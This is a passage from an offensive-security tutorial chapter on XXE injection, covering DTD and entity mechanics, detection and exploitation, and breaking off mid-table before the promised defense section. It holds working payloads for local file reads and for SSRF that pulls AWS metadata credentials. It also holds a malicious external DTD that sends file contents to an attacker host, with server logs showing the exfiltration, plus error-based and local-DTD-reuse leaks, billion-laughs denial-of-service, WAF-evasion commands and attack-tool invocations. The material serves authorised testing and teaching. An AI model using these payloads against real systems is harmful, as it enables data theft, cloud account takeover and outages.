XML External Entity (XXE) Injection

This is Chapter 6 of the Injection notebook — Notebook 23. The previous chapters walked through four different interpreters: a SQL engine, an operating-system shell, and a template engine. Each time the pattern was the same — attacker-controlled text reaches an interpreter that was never meant to receive it, and the interpreter dutifully executes it. This chapter introduces a fifth interpreter that is quietly present in a huge fraction of enterprise software: the XML parser.

XML looks like inert data — angle brackets and text. But the XML specification includes a small, almost-forgotten sub-language called the Document Type Definition (DTD), and inside a DTD you can declare entities: named macros that the parser expands before your application ever sees the document. One flavour of entity, the external entity, tells the parser to go fetch its value — from a file path, or from a URL. When an application feeds attacker-controlled XML to a parser that still resolves external entities (the historical default for most parsers), the attacker can make the server read local files, make HTTP requests to internal systems it should never reach (SSRF), exfiltrate data blindly to attacker infrastructure, or exhaust memory and CPU. That is XML External Entity injection — XXE.

The muscle you built across the injection chapters transfers directly: find where your input lands, identify which interpreter parses it (here, an XML parser), learn that interpreter’s special syntax (the <!DOCTYPE> and <!ENTITY> declarations), confirm resolution without breaking anything, then escalate from a harmless proof to controlled impact. We build from the raw mechanics of XML and DTDs, through a rigorous detection methodology, into deep in-band, error-based, and fully blind out-of-band exploitation, cover the odd corners (XInclude, SVG, Office documents, SOAP, local-DTD reuse), and finish with a concrete detection-and-defense model that actually kills the bug class.

Legal and ethical boundary — read before the first payload. Every technique in this chapter touches files, internal networks, and out-of-band callbacks on the target’s infrastructure. Run these only against systems you own or are explicitly authorised in writing to test, and stay inside the declared scope. XXE in particular makes it trivially easy to pull /etc/passwd, cloud metadata credentials, or internal service responses — data you have no business reading outside a sanctioned engagement. Prove the vulnerability with the minimum impactful evidence (a benign file, a single Collaborator hit) and stop; do not hoover up secrets to “make the report stronger.”

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Part 1: What XML Actually Is — The Substrate the Bug Lives In

You cannot understand XXE without understanding XML the way the parser understands it, so we start below the vulnerability, at the document model itself. If you already write XML fluently, skim — but do not skip the DTD and entity subsections, because that is where the entire bug lives.

1.1 XML in one paragraph

XML (eXtensible Markup Language) is a text format for representing tree-structured data. A document is a single root element containing nested child elements, each optionally carrying attributes and text content. Unlike HTML, XML has no predefined tags — you invent them — and it is far stricter about syntax. A minimal document:

<?xml version="1.0" encoding="UTF-8"?>
<order>
  <customer id="42">Alice</customer>
  <item qty="2">Widget</item>
  <total currency="USD">19.98</total>
</order>

The first line is the XML declaration (<?xml ... ?>) — a processing instruction stating the version and character encoding. <order> is the root. Elements nest, attributes live inside the start tag (id="42"), and text sits between tags.

1.2 Well-formedness — the parser’s first job

Before an application ever sees the data, the parser checks that the document is well-formed: exactly one root, every start tag has a matching end tag, tags nest without overlap, attribute values are quoted, and reserved characters are escaped. The five characters that must be escaped in text/attribute context are the bedrock of XML syntax — memorise them, because entities are the mechanism XML uses to escape them, and entities are the whole game here:

Character	Predefined entity	Why it must be escaped
<	&lt;	Starts a tag
>	&gt;	Ends a tag
&	&amp;	Starts an entity reference
"	&quot;	Delimits attribute values
'	&apos;	Delimits attribute values

Notice the shape: &name;. That &…; syntax is an entity reference. The five above are the predefined general entities, always available. The bug arises because XML lets you define your own entities — and point them at external resources.

1.3 Where XML shows up (your attack surface)

XXE is not a niche bug because XML is everywhere in the plumbing of enterprise apps, even where the front end looks like pure JSON. Anywhere a server parses XML that a user can influence is a candidate injection point:

• SOAP web services and legacy APIs — SOAP is XML over HTTP; every request body is a document.
• REST endpoints that accept Content-Type: application/xml or text/xml — many frameworks content-negotiate and will happily parse an XML body sent to a normally-JSON endpoint.
• File-upload formats that are secretly XML/ZIP-of-XML — SVG, .docx/.xlsx/.pptx (Office Open XML), .odt (OpenDocument), RSS/Atom feeds, GPX, KML, SAML assertions, XML sitemaps.
• SAML single sign-on — the SAMLResponse is a base64 XML document parsed on the server.
• XML-RPC, XMPP, SVG-based image processors, PDF generators that ingest XML, config importers.

A recurring bug-bounty pattern: a JSON API silently accepts XML if you flip the Content-Type header and rewrite the body. Always try it — it is a five-second test that has paid out four- and five-figure bounties on programs that assumed “we’re a JSON shop, XXE doesn’t apply to us.”

1.4 The parse pipeline, drawn

flowchart LR
    A[Attacker-influenced XML] --> B[XML Parser]
    B --> C{DTD present?}
    C -->|No / disabled| D[Build DOM/event tree]
    C -->|Yes, processing enabled| E[Resolve DTD + entities]
    E --> F{External entity?}
    F -->|SYSTEM file://| G[Read local file]
    F -->|SYSTEM http://| H[Fetch URL - SSRF/OOB]
    F -->|Internal| I[Inline replacement text]
    G --> D
    H --> D
    I --> D
    D --> J[Application logic sees expanded values]

The vulnerability lives entirely in the C → E → F path: a parser that processes an attacker-supplied DTD and resolves external entities. Kill any one of those steps and the bug dies — which is exactly how the defense section closes it.

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Part 2: DTDs and Entities — The Sub-Language That Is the Vulnerability

This is the most important section in the chapter. Every XXE payload you will ever write is an application of the four ideas below. Read slowly.

2.1 The DOCTYPE and the DTD

A Document Type Definition (DTD) declares the legal structure of an XML document — which elements may appear, in what order, with which attributes — and, crucially, defines entities. A document references a DTD through a <!DOCTYPE> declaration placed after the XML declaration and before the root element.

There are two places a DTD can live:

• Internal subset — written inline inside the DOCTYPE, in square brackets:

  <?xml version="1.0"?>
  <!DOCTYPE order [
    <!ENTITY company "Acme Corp">
  ]>
  <order><vendor>&company;</vendor></order>

• External subset — referenced by a URL/path, fetched by the parser:

  <!DOCTYPE order SYSTEM "http://example.com/order.dtd">

You can also combine them (external + internal subset). XXE almost always uses the internal subset, because that is the part the attacker controls when they submit a document — they simply inject a <!DOCTYPE> with a malicious <!ENTITY> at the top of their XML.

2.2 General entities — the classic XXE primitive

A general entity is a named macro you reference in the document body with &name;. Internal (value given inline):

<!ENTITY company "Acme Corp">
<!-- &company; expands to: Acme Corp -->

External — the value is fetched from a resource identified by a system identifier:

<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!-- &xxe; expands to the CONTENTS of /etc/passwd -->

That single line is the classic XXE. SYSTEM tells the parser the following string is a URI to retrieve. file:// reads a local file; http:// makes a network request. When the application later echoes the element that contains &xxe;, it echoes the file contents. Diagrammed:

sequenceDiagram
    participant A as Attacker
    participant S as Server / XML parser
    participant F as Local filesystem
    A->>S: POST XML with <!ENTITY xxe SYSTEM "file:///etc/passwd">
    S->>S: Parse document, encounter &xxe;
    S->>F: Open file:///etc/passwd
    F-->>S: root:x:0:0:root:/root:/bin/bash ...
    S->>S: Substitute file contents for &xxe;
    S-->>A: Reflect element containing the expanded value

2.3 Parameter entities — the primitive that makes blind XXE work

Here is the concept most people skip and then cannot understand why their blind payloads fail. XML has a second kind of entity used only inside the DTD itself: the parameter entity. It is declared with a % and referenced with %name; (percent, not ampersand):

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!-- referenced later in the DTD as %file; -->

Two facts you must internalise:

1. General entities (&x;) are referenced in the document body.
2. Parameter entities (%x;) are referenced inside the DTD, and (importantly) inside an external DTD they can be used far more freely than general entities.

Why does this matter? Because the XML spec forbids referencing an external general entity’s value inside another entity declaration in the internal subset — the exact operation you need for out-of-band exfiltration. Parameter entities are not subject to that restriction when the declaration lives in an external DTD. Parameter entities are therefore the key that unlocks blind, error-based, and OOB exfiltration on parsers that reject the naive approach. We build this up carefully in Part 6 — for now, just anchor the syntax: % declares and references parameter entities, & declares and references general entities.

2.4 The four building blocks, side by side

Kind	Declared	Referenced	Where usable	XXE role
Internal general	<!ENTITY x "text">	&x;	Document body	Harmless substitution / DoS (billion laughs)
External general	<!ENTITY x SYSTEM "uri">	&x;	Document body	Classic in-band file read / SSRF
Internal parameter	<!ENTITY % p "text">	%p;	Inside DTD	Building blocks / concatenation
External parameter	<!ENTITY % p SYSTEM "uri">	%p;	Inside DTD (esp. external)	Blind / OOB / error-based exfiltration

2.5 URI schemes the parser will honour

The system identifier is a URI, and which schemes resolve depends on the parser and language. The schemes worth knowing:

Scheme	Effect	Notes
file://	Read a local file	The workhorse. file:///etc/passwd (three slashes = empty host).
http:// / https://	Fetch a URL — SSRF / OOB channel	Hits internal services, cloud metadata, or your Collaborator.
ftp://	Fetch over FTP	Java honours it; useful for OOB exfil of longer/odd data than HTTP.
netdoc://	Java-specific file read	Legacy Java scheme, occasionally bypasses file:// filters.
jar:	Read inside archives (Java)	jar:file:///path!/entry; also enables temp-file races.
php://filter	PHP wrapper — base64-encode a file	Critical for PHP: reads files with special chars/binary safely.
expect://	PHP expect extension — RCE	Rare (extension seldom installed) but game-over when present.
data://	Inline data (PHP)	Feed a base64 DTD without a network fetch.

php://filter/convert.base64-encode/resource=/path deserves a special call-out. A raw file:///var/www/config.php often breaks the parse, because PHP source contains <, &, and other characters that make the resulting XML ill-formed. Wrapping the read in the base64 filter turns the file into a safe [A-Za-z0-9+/=] blob that survives parsing — you decode it yourself afterwards. Remember that one; it is the difference between “XXE reads text files” and “XXE reads any file including binaries and PHP source” on a PHP target.

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Part 3: The Simplest Working Exploit — Classic In-Band File Disclosure

With the mechanics in hand, here is the canonical exploit, end to end, on a deliberately vulnerable endpoint. Assume a “check stock” feature that accepts XML and echoes the productId back somewhere in the response.

3.1 The normal request

POST /product/stock HTTP/1.1
Host: vuln.lab
Content-Type: application/xml
Content-Length: 107

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

Normal response: Error: 381 units — invalid product. The value 381 is reflected. That reflection is our read-back channel.

3.2 The XXE payload

Inject an internal DTD defining an external general entity, then reference it where the value is echoed:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck><productId>&xxe;</productId></stockCheck>

3.3 The response

HTTP/1.1 400 Bad Request
Content-Type: text/plain

Error: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
 — invalid product

The parser resolved &xxe; to the contents of /etc/passwd, substituted it into <productId>, and the application echoed it in its “invalid product” error. That is a complete in-band XXE file read. The exact same payload with SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" turns the file read into SSRF against cloud metadata — often the highest-impact XXE outcome.

3.4 Why it sometimes “doesn’t reflect”

If the app parses your XML but does not echo the vulnerable element, &xxe; is still resolved — you just cannot see it. That is blind XXE, and it is the common case in modern targets. Do not conclude “not vulnerable” from a lack of reflection; switch to the out-of-band detection in Part 5. Equally, multi-line file contents injected into a single-line context sometimes trip a different error that leaks the data via a stack trace — that is error-based XXE, covered in Part 7.

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Part 4: The Toolkit — Burp Suite, Collaborator, and the XXE Utilities From Zero

Before we go blind, install and understand the tools. Every tool here is taught from scratch the first time it appears, per the authoring contract — if you already run them daily, skip ahead.

4.1 Burp Suite — what it is and why XXE work lives in it

Burp Suite is an intercepting HTTP/S proxy and web-application testing platform from PortSwigger. It sits between your browser and the target, letting you see, pause, edit, and replay every request. For XXE it is essential because you must hand-craft raw XML bodies and headers that a browser will never send. The pieces you use:

• Proxy — intercepts live traffic. Configure your browser (or Burp’s built-in browser) to route through 127.0.0.1:8080, install Burp’s CA certificate so HTTPS is readable.
• Repeater — the core XXE tool. Send a captured request here (Ctrl+R), then edit the body and headers and hit Send repeatedly. This is where you iterate payloads.
• Intruder — automates payload sweeps (e.g. brute-forcing file paths through an XXE read).
• Collaborator — an out-of-band interaction server (below) — the single most important component for blind XXE.

Install on Kali Linux (it ships pre-installed, but to get/refresh it):

# Community Edition ships with Kali; to install/update the package:
sudo apt update && sudo apt install -y burpsuite
# Launch:
burpsuite &

Community Edition includes Repeater and a public Collaborator (with rate limits); Professional adds a private Collaborator server, the active scanner, and saved Intruder. For serious XXE hunting, Pro’s private Collaborator matters because blind exfil depends on reliable OOB callbacks.

4.2 Burp Collaborator — the out-of-band oracle

Burp Collaborator is a server, run by PortSwigger (or self-hosted in Pro), that logs any DNS lookup or HTTP/S request sent to a unique subdomain it hands you, e.g. abc123xyz.oastify.com. The idea: you plant that hostname in a payload; if the server resolves or connects to it, you have proof the payload executed — even when the application response shows you nothing. That is the definition of an out-of-band (OOB) channel, and it is how blind XXE is detected and exploited.

To get a payload: Burp → Collaborator tab → “Copy to clipboard” yields a fresh *.oastify.com subdomain. “Poll now” shows interactions. Each interaction lists the type (DNS/HTTP), the source IP (the target’s egress IP — record it for the report), and, for HTTP, the full request including any data you smuggled into the path.

sequenceDiagram
    participant A as Attacker (Burp)
    participant T as Target server
    participant C as Collaborator (oastify.com)
    A->>T: XML with SYSTEM "http://uniqueid.oastify.com/"
    T->>C: DNS lookup uniqueid.oastify.com
    T->>C: GET / (HTTP interaction)
    A->>C: Poll now
    C-->>A: DNS + HTTP interaction from target IP => BLIND XXE CONFIRMED

Free alternative: if you have no Collaborator access, interactsh (from ProjectDiscovery) is an open-source OOB server you can self-host or use via the public instances:

# Install the interactsh client (Go required)
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Run it — it prints a unique payload domain and live-logs interactions
interactsh-client
# => [INF] Listing 1 payload for OOB Testing
# => c8fr...oast.pro

4.3 XXEinjector — automating blind file reads

XXEinjector (Ruby, by enjoiz) automates the tedious loop of blind/OOB XXE exfiltration: hosting the malicious external DTD, brute-forcing paths, and reassembling exfiltrated data. Install and basic use:

git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector
# It needs Ruby (pre-installed on Kali). Save the target request (with the injection
# point marked "XXEINJECT") to a file named req.txt, then:
ruby XXEinjector.rb --host=YOUR_IP --httpport=8888 --file=req.txt --path=/etc --oob=http --phpfilter

Key flags: --host your listener IP; --httpport where it serves the DTD; --file the saved request template with XXEINJECT marking where the DOCTYPE goes; --path the directory to enumerate; --oob=http selects the HTTP OOB channel (also ftp); --phpfilter wraps reads in the base64 filter for PHP targets. It is a force-multiplier once you have manually confirmed the bug — never lead with it blindly against a client’s production system.

4.4 oxml_xxe and docem — weaponising file-upload formats

oxml_xxe and docem inject XXE/XInclude payloads into the many file formats that are secretly XML: .docx, .xlsx, .pptx, .odt, .svg, .pdf, .xml. They unzip the container, splice your DTD into the internal XML parts (word/document.xml, etc.), and rezip. Use when the injection point is a document upload rather than a raw XML body (Part 8 covers the theory).

git clone https://github.com/BuffaloWill/oxml_xxe.git
# Ruby GUI/CLI that embeds a chosen XXE payload into a template document.

4.5 Manual is king

Tools accelerate, but every serious XXE finding starts with a manual Repeater request. The tools above only make sense once you understand the payloads they emit — which is the rest of this chapter.

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Part 5: Blind XXE Detection — Out-of-Band Interaction

When the application does not reflect the entity, you prove the vulnerability by making the server reach out to infrastructure you control. This is the detection step; exfiltration (getting the data back) is Part 6.

5.1 The detection payload

Define an external entity pointing at your Collaborator/interactsh domain and reference it in the body:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY xxe SYSTEM "http://BURP-COLLAB-ID.oastify.com/x">
]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Send it, then Poll now. A DNS interaction alone confirms the parser resolved the entity (some egress firewalls allow DNS but block HTTP — DNS-only is still a positive). An HTTP interaction confirms full outbound reach. Either way: blind XXE confirmed.

5.2 When the general entity is blocked — pivot to a parameter entity

Some parsers refuse to expand external general entities but still process parameter entities in the DTD. If the payload above yields nothing, try the parameter-entity form — the reference lives in the DTD, not the body:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY % xxe SYSTEM "http://BURP-COLLAB-ID.oastify.com/x">
  %xxe;
]>
<stockCheck><productId>1</productId></stockCheck>

Here %xxe; is referenced immediately, inside the DTD, forcing the parser to fetch the URL during DTD processing. This form frequently succeeds where the general-entity form is filtered.

5.3 Detection decision tree

flowchart TD
    A[Endpoint parses XML?] -->|No| Z[Not XXE - try flipping Content-Type first]
    A -->|Yes| B[Inject external general entity to Collaborator]
    B --> C{OOB interaction?}
    C -->|Yes| D[Blind XXE confirmed - go to exfiltration]
    C -->|No| E[Try parameter-entity form %xxe;]
    E --> F{OOB interaction?}
    F -->|Yes| D
    F -->|No| G[Try in-band reflection & error-based]
    G --> H{Data or stack trace?}
    H -->|Yes| I[In-band / error-based XXE]
    H -->|No| J[Try XInclude / upload formats / SVG]

5.4 Interpreting no-callback

No callback does not always mean “safe.” Consider: egress fully firewalled (try DNS-only, or error-based/local-DTD exfil in Parts 6–9), DOCTYPE stripped by a WAF (try encoding tricks, Part 10), or the parser genuinely hardened (the good outcome). Rule XXE out only after the local-DTD and error-based avenues are exhausted, because those work even with zero outbound network.

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Part 6: Blind Out-of-Band Exfiltration — Building the Malicious DTD From Scratch

Detecting blind XXE proves the bug; exfiltrating a file proves impact. This is the technique that separates people who “know about XXE” from people who can actually exploit the hard cases. We build the DTD one line at a time so the mechanism is unambiguous.

6.1 The problem, precisely stated

You want to read /etc/hostname and have its contents sent to your server, but nothing is reflected. The naive idea — put the file contents into a URL and fetch it — runs straight into an XML rule:

A parameter entity reference cannot appear inside the value of another entity’s declaration in the internal subset, and external general entities cannot be referenced from within markup declarations either.

In other words, you cannot write the “read a file, then build a URL containing that file” logic in the internal subset the target hands you. The escape hatch: put that logic in an external DTD you host, where parameter entities are allowed to be composed freely.

6.2 The hosted DTD, line by line

Host this file (call it evil.dtd) on your web server / interactsh / Python http.server:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKER/collect?x=%file;'>">
%eval;
%exfil;

Walk through it:

1. <!ENTITY % file SYSTEM "file:///etc/hostname"> — parameter entity file holds the contents of the target file.
2. <!ENTITY % eval "..."> — a parameter entity whose value is itself a declaration of a third entity, exfil. The % is a numeric character reference for % — we must encode it so the % is not interpreted prematurely; it is un-escaped only when eval is expanded. Inside that inner declaration, %file; will be replaced by the file’s contents, building a URL like http://ATTACKER/collect?x=<contents-of-/etc/hostname>.
3. %eval; — expanding eval defines exfil (with the file contents already baked into its URL).
4. %exfil; — expanding exfil triggers the outbound HTTP fetch, carrying the file contents in the query string to your server.

6.3 The in-band trigger

On the target, the injected internal subset just imports your external DTD and kicks it off:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY % xxe SYSTEM "http://ATTACKER/evil.dtd">
  %xxe;
]>
<stockCheck><productId>1</productId></stockCheck>

6.4 What you see on your server

# Attacker: serve the DTD and watch the logs
python3 -m http.server 80
# ...target fetches evil.dtd, then:
10.10.14.9 - - "GET /evil.dtd HTTP/1.0" 200 -
10.10.14.9 - - "GET /collect?x=ip-10-0-0-53 HTTP/1.0" 404 -
#                              ^^^^^^^^^^^^ contents of /etc/hostname, exfiltrated

The second request’s query string carries the file contents. Diagrammed end to end:

sequenceDiagram
    participant T as Target parser
    participant A as Attacker server
    T->>A: GET /evil.dtd  (import external DTD)
    A-->>T: %file, %eval, %exfil definitions
    T->>T: %file = contents of /etc/hostname
    T->>T: %eval defines %exfil with file baked into URL
    T->>A: GET /collect?x=<file contents>  (exfiltration)
    A-->>A: Log the query string => data recovered

6.5 Practical limits of the OOB channel

• HTTP query strings choke on newlines and reserved characters. /etc/hostname is one short line and works cleanly. For multi-line files (/etc/passwd), the URL breaks. Fixes: read the file through php://filter/convert.base64-encode first (PHP), or use FTP OOB (Java honours ftp:// and tolerates newlines), or exfiltrate line-by-line. XXEinjector automates the FTP-based reassembly.
• Some parsers won’t fetch the external DTD over HTTP but will over ftp:// or file:// (local DTD reuse — Part 9).
• The external-DTD fetch itself is an OOB interaction — if you only see GET /evil.dtd and never the /collect hit, the parser imported the DTD but blocked the second fetch or the file read failed (wrong path / no permission). Iterate the path.

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Part 7: Error-Based XXE — Exfiltration Through Stack Traces

When there is no usable outbound channel but the application returns verbose parser errors, you can smuggle file contents into an error message. The trick: make the parser try to open a path that is the file’s contents, so the “file not found” error prints the data.

7.1 The malicious DTD

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

%error; tries to open file:///nonexistent/<contents-of-/etc/passwd>. That path does not exist, so the parser throws an error that includes the attempted path — which now contains the file contents:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin (No such file or directory)

7.2 Local, self-contained error-based (no external DTD)

Some parsers (notably certain libxml2 versions) let you do this entirely inside the internal subset by re-declaring a parameter entity — no hosted DTD required:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>
<data>test</data>

Whether the fully-internal version works depends on the parser’s handling of parameter entities in the internal subset (many reject nested parameter-entity references there — hence the external-DTD form in 7.1 being more reliable). Try internal first (one request, no infrastructure); fall back to the hosted external DTD if it is rejected.

7.3 When to reach for error-based

Error-based shines when: outbound network is fully blocked (so OOB is dead) but the app leaks stack traces, and the file fits in whatever the error message will print (often truncated at a few hundred to a few thousand characters). It is the natural fallback between OOB (Part 6) and local-DTD reuse (Part 9).

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Part 8: Beyond File Reads — SSRF, and XXE Where You Don’t See Raw XML

XXE is not only about reading /etc/passwd. Two directions matter for real-world impact: turning the external-entity fetch into full-blown SSRF, and finding XXE where the XML is hidden inside another format.

8.1 XXE-to-SSRF

Because SYSTEM "http://..." makes the server issue the request, XXE is one of the cleanest SSRF primitives available. Point the entity at internal-only addresses:

<!DOCTYPE r [ <!ENTITY xxe SYSTEM
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
<r>&xxe;</r>

Against AWS this walks the instance metadata service (IMDSv1) and, with a second request to the role name, returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token) — a routine XXE-to-cloud-account-takeover chain. Other high-value internal targets: http://localhost:8080/ admin panels, internal http://consul:8500/, Kubernetes https://10.0.0.1/, and redis/elasticsearch on internal ports. Bug-bounty note: many programs that scope “SSRF” and “XXE” as separate bugs will pay for the chain — demonstrate the metadata credential read (then stop) rather than just the /etc/passwd read, because the impact is dramatically higher. Blue-team relevance: IMDSv2’s session-token requirement (a PUT to get a token first) breaks this exact XXE-GET-based path, which is why enforcing IMDSv2 is a standard cloud hardening control.

Caveat: XXE-SSRF often only lets you trigger a GET and see the response reflected/exfiltrated; you cannot set arbitrary headers or methods the way a dedicated SSRF via a URL parameter might. Redirects are sometimes followed, sometimes not, depending on parser. Still, for read-only internal endpoints it is devastating.

8.2 SVG file upload

SVG (Scalable Vector Graphics) is XML. Any feature that accepts an image and processes it server-side (avatar upload, thumbnailing with a library that parses SVG, PDF rendering) may parse your DTD. A weaponised SVG that reads a file and renders it as text:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="20">&xxe;</text>
</svg>

If the server rasterises the SVG to PNG, the file contents appear rendered into the image — a beautiful in-band leak through an image pipeline. CTF angle: SVG-upload XXE is a staple of web CTFs and PortSwigger-style labs precisely because the render-back gives a clean in-band oracle.

8.3 Office Open XML (.docx / .xlsx / .pptx) and ODF

A .docx is a ZIP archive of XML parts. If a server ingests uploaded Office documents (resume parsers, document converters, “import” features), you can unzip, inject a DOCTYPE into word/document.xml (or [Content_Types].xml), rezip, and upload. oxml_xxe (Part 4.4) automates exactly this. The same applies to .odt/.ods (OpenDocument) and to any XMP metadata block inside images and PDFs.

# Manual approach sketch
unzip doc.docx -d doc/
# edit doc/word/document.xml — add <!DOCTYPE ...> with an OOB entity at the top
cd doc && zip -r ../evil.docx . && cd ..
# upload evil.docx to the parser

8.4 SOAP and SAML

SOAP requests are pure XML — inject the DOCTYPE right after the XML declaration, before <soap:Envelope>. SAML is higher-stakes: the SAMLResponse parameter is base64-encoded XML parsed by the Service Provider. Historically many SAML libraries parsed with DTDs enabled, making the SSO endpoint XXE-vulnerable (and, separately, prone to signature-wrapping). Test SAML endpoints by decoding the base64, injecting a DOCTYPE, re-encoding — but tread carefully, as auth infrastructure is sensitive and often out of scope.

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Part 9: XInclude and Local DTD Reuse — Exploiting Hardened Parsers

Two techniques for the cases where you cannot inject a full DOCTYPE, or where external DTD fetches are blocked.

9.1 XInclude — no DOCTYPE required

Sometimes you control only a fragment of a larger document the server assembles — you cannot add a <!DOCTYPE> because you are not at the top of the document. XInclude is a separate XML feature that lets one document pull in another, and it works without a DOCTYPE, from inside an element:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

If the server-side parser has XInclude processing enabled (common with Java’s DocumentBuilder when setXIncludeAware(true), and in some Spring/older frameworks), this reads the file with no DOCTYPE at all. parse="text" reads raw bytes as text; drop it and you can pull in XML sub-trees. This is the go-to when your input is embedded mid-document (e.g. a single form field spliced into a server template).

9.2 Local DTD reuse — exfiltrate with zero outbound network

The hardest scenario: the parser blocks external entities from being fetched over the network (no http://evil.dtd), so classic OOB is dead — but it still processes parameter entities. The technique, popularised by Arseniy Sharoglazov, repurposes a DTD file already present on the target’s disk. You redefine one of the local DTD’s parameter entities to smuggle in your error-based exfil logic.

A canonical example abuses a GNOME DTD present on many Linux systems, /usr/share/yelp/dtd/docbookx.dtd, which defines a parameter entity ISOamso:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
  '>
  %local_dtd;
]>
<foo>test</foo>

The parser loads the local DTD (%local_dtd;), but because we redefined %ISOamso; before it is used inside that DTD, our malicious version runs — triggering an error-based leak of /etc/passwd with no network egress whatsoever. The heavy %/& encoding is because we are nesting entity declarations three deep and must defer each %/& from being interpreted too early.

Finding a usable local DTD is the work: candidates differ by OS and installed packages. Common ones to try (each defines a parameter entity you overload):

DTD path	Parameter entity to override	Typical platform
/usr/share/yelp/dtd/docbookx.dtd	%ISOamso;	Linux with GNOME/yelp
/usr/share/xml/fontconfig/fonts.dtd	%constant;	Linux with fontconfig
C:\Windows\System32\wbem\xml\cim20.dtd	%SuperClass;	Windows
/usr/share/yelp/dtd/docbookx.dtd	%xmlpe; (some versions)	Linux

This is the technique that revives “dead” blind XXE on egress-locked targets — a favourite in advanced labs and real high-value engagements.

flowchart TD
    A[Blind XXE, but no network egress] --> B{App leaks errors?}
    B -->|Yes| C[Error-based via local nonexistent-path trick]
    B -->|No or truncated| D[Find a local DTD on disk]
    D --> E[Redefine one of its parameter entities]
    E --> F[Inject error-based exfil into the override]
    F --> G[Load local DTD => data leaks in error, zero egress]

---

Part 10: Denial of Service and Filter/WAF Bypasses

10.1 Billion Laughs (entity expansion DoS)

Entities can reference other entities. Nest them and the expansion grows exponentially — the classic Billion Laughs attack. Ten levels of ten references each is 10^9 “lol”s, gigabytes of memory from a tiny document:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<lolz>&lol5;</lolz>

A related variant, quadratic blowup, uses one huge entity referenced many times to dodge the exponential-depth limits some parsers added. Ethics: DoS payloads can knock a service over — never fire these at production without explicit written authorisation and a maintenance window; usually you report the primitive (that entity expansion is unbounded) rather than actually exhaust the target. Well-configured parsers cap entity expansion (libxml2’s XML_PARSE_HUGE off by default, Java’s FEATURE_SECURE_PROCESSING, .NET limits), which is precisely the defense.

10.2 Filter and WAF bypasses

When a WAF or naive filter tries to block <!DOCTYPE or <!ENTITY, several evasions apply:

Bypass	Technique	Notes
Encoding declaration	Set <?xml version="1.0" encoding="UTF-16"?> and send the body as UTF-16	Signature filters scanning for ASCII <!ENTITY miss the UTF-16 bytes
UTF-7 / other encodings	Encode the DOCTYPE in an alternate charset the parser accepts	Parser decodes; regex WAF does not
Whitespace / newlines	<!DOCTYPE\n foo\n [ ... — split keywords across lines/tabs	Defeats brittle single-line regexes
XInclude instead of DOCTYPE	Use <xi:include> (Part 9.1)	No <!DOCTYPE> token for the WAF to match
Nested/param entities	Hide the file:// inside an external DTD	Only evil.dtd reference is on the wire; payload is off-host
PUBLIC identifier form	<!ENTITY xxe PUBLIC "id" "file:///etc/passwd">	Alternate to SYSTEM, occasionally unfiltered

The UTF-16 encoding bypass is the highest-value one to remember: convert the whole payload with iconv -f UTF-8 -t UTF-16BE payload.xml, send with the matching declaration, and content-inspection WAFs scanning for ASCII entity keywords sail right past it.

# Produce a UTF-16 encoded XXE body to defeat ASCII signature matching
iconv -f UTF-8 -t UTF-16BE payload.xml > payload-utf16.xml

---

Part 11: Parser Behaviour by Language — Where the Bug Is Default-On

XXE risk is almost entirely a function of which parser and how it was configured. This is the single most useful reference in the chapter when you are trying to predict, or fix, behaviour.

Language / parser	Historical default	Notes for testing & fixing
PHP libxml	External entities off by default since libxml 2.9	Older stacks or code calling libxml_disable_entity_loader(false) re-enable it. php://filter base64 read is the signature PHP move.
